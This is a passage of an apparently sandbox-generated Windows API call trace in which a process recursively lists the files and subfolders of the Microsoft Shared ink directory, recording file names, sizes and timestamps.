lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0216.433] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0216.433] GetProcessHeap () returned 0x560000 [0216.434] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bdaa88 | out: hHeap=0x560000) returned 1 [0216.434] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0216.434] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0216.434] GetProcessHeap () returned 0x560000 [0216.434] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bdaa88 [0216.434] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0216.436] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.436] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0216.436] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0216.436] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0216.436] GetProcessHeap () returned 0x560000 [0216.436] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bdaa88 | out: hHeap=0x560000) returned 1 [0216.436] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f832d2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0216.437] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0216.437] GetProcessHeap () returned 0x560000 [0216.437] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bdaa88 [0216.437] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0216.438] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.438] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0216.438] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0216.438] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0216.438] GetProcessHeap () returned 0x560000 [0216.438] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bdaa88 | out: hHeap=0x560000) returned 1 [0216.438] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0216.439] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0216.439] GetProcessHeap () returned 0x560000 [0216.439] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bdaa88 [0216.439] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0216.440] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.440] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0216.440] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0216.440] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0216.440] GetProcessHeap () returned 0x560000 [0216.440] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bdaa88 | out: hHeap=0x560000) returned 1 [0216.441] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0216.441] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0216.441] GetProcessHeap () returned 0x560000 [0216.441] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bdaa88 [0216.441] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0216.442] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.442] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0216.442] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0216.442] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0216.443] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0216.443] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0216.443] GetProcessHeap () returned 0x560000 [0216.443] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bdaa88 | out: hHeap=0x560000) returned 1 [0216.443] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0216.444] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0216.444] GetProcessHeap () returned 0x560000 [0216.444] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bdaa88 [0216.444] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0216.446] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.446] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0216.447] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2cfe818 | out: lpFindFileData=0x2cfe818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0216.447] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0216.447] GetProcessHeap () returned 0x560000 [0216.447] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bdaa88 | out: hHeap=0x560000) returned 1 [0216.447] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0216.447] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0216.448] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0216.448] GetProcessHeap () returned 0x560000 [0216.448] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0216.448] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0216.448] GetProcessHeap () returned 0x560000 [0216.448] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0216.448] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0216.449] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.449] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0216.449] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0216.449] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0216.449] GetProcessHeap () returned 0x560000 [0216.449] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0216.450] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 